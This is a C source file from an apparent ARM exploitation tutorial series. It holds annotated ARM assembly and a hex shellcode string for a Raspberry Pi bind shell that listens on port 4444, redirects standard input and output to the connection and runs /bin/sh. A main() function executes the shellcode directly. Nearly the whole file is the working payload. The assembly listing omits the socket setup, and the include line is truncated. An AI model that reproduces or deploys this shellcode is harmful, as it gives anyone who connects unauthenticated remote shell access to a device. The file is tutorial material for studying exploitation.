/* ################################## # Andrea Sindoni - @invictus1306 # ################################## This schellcode is part of my episodes: - ARM exploitation for IoT - https://quequero.org/2017/07/arm-exploitation-iot-episode-2/ Enviroment: Raspberry pi 3 Default settings for port:4444 @.syntax unified .global _start _start: mov r1, #0x5C @ r1=0x5c mov r5, #0x11 @ r5=0x11 mov r1, r1, lsl #24 @ r1=0x5c000000 add r1, r1, r5, lsl #16 @ r1=0x5c110000 - port number=4444(0x115C) --- Please change me add r1, #2 @ r1=0x5c110002 - sin_family+sin_port sub r2, r2, r2 @ sin_addr push {r1, r2} @ push into the stack r1 and r2 mov r1, sp @ save pointer to sockaddr_in struct mov r2, #0x10 @ addrlen mov r0, r6 @ mov sockfd into r0 ldr r7, =#282 @ bind syscall swi 0 @ listen for incoming connections via SYS_LISTEN @ int listen(int sockfd, int backlog); mov r0, r6 @ mov sockfd into r0 mov r1, #1 @ backlog=1 ldr r7, =#284 @ listen syscall swi 0 @ Accept connections @ int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen) mov r0, r6 @ mov sockfd into r0 sub r1, r1, r1 @ addr=0 sub r2, r2, r2 @ addrlen=0 ldr r7, =#285 @ accept syscall swi 0 @ Redirect stdin, stdout and stderr via dup2 mov r1, #2 @ counter stdin(0), stdout(1) and stderr(2) loop: mov r7, #63 @ dup2 syscall swi 0 sub r1, r1, #1 @ decrement counter cmp r1, #-1 @ compare r1 with -1 bne loop @ if the result is not equal jmp to loop @ int execve(const char *filename, char *const argv[],char *const envp[]); mov r0, pc add r0, #32 sub r2, r2, r2 push {r0, r2} mov r1, sp mov r7, #11 swi 0 _exit: mov r0, #0 mov r7, #1 swi 0 @ exit(0) .asciz "/bin/sh" Assemble and link it: as -o bind.o bind.s ld -o bind bind.o */ #include char *code="\x02\x00\xa0\xe3\x01\x10\xa0\xe3\x00\x20\xa0\xe3\xa0\x70\x9f\xe5\x00\x00\x00\xef\x00\x60\xa0\xe1\x5c\x10\xa0\xe3\x11\x50\xa0\xe3\x01\x1c\xa0\xe1\x05\x18\x81\xe0\x02\x10\x81\xe2\x02\x20\x42\xe0\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\x10\x20\xa0\xe3\x06\x00\xa0\xe1\x70\x70\x9f\xe5\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\xa0\xe3\x47\x7f\xa0\xe3\x00\x00\x00\xef\x06\x00\xa0\xe1\x01\x10\x41\xe0\x02\x20\x42\xe0\x50\x70\x9f\xe5\x00\x00\x00\xef\x02\x10\xa0\xe3\x3f\x70\xa0\xe3\x00\x00\x00\xef\x01\x10\x41\xe2\x01\x00\x71\xe3\xfa\xff\xff\x1a\x0f\x00\xa0\xe1\x20\x00\x80\xe2\x02\x20\x42\xe0\x05\x00\x2d\xe9\x0d\x10\xa0\xe1\x0b\x70\xa0\xe3\x00\x00\x00\xef\x00\x00\xa0\xe3\x01\x70\xa0\xe3\x00\x00\x00\xef\x2f\x62\x69\x6e\x2f\x73\x68\x00\x19\x01\x00\x00\x1a\x01\x00\x00\x1d\x01\x00\x00"; int main(void) { (*(void(*)()) code)(); return 0; }